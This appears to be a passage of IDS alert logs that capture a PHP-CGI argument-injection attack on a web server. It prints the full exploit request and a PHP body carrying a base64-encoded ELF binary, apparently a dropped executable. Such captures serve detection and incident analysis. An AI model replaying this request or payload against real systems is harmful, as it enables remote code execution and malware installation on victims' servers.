pNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p"}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016978,"rev":3,"signature":"ET WEB_SERVER safe_mode PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQU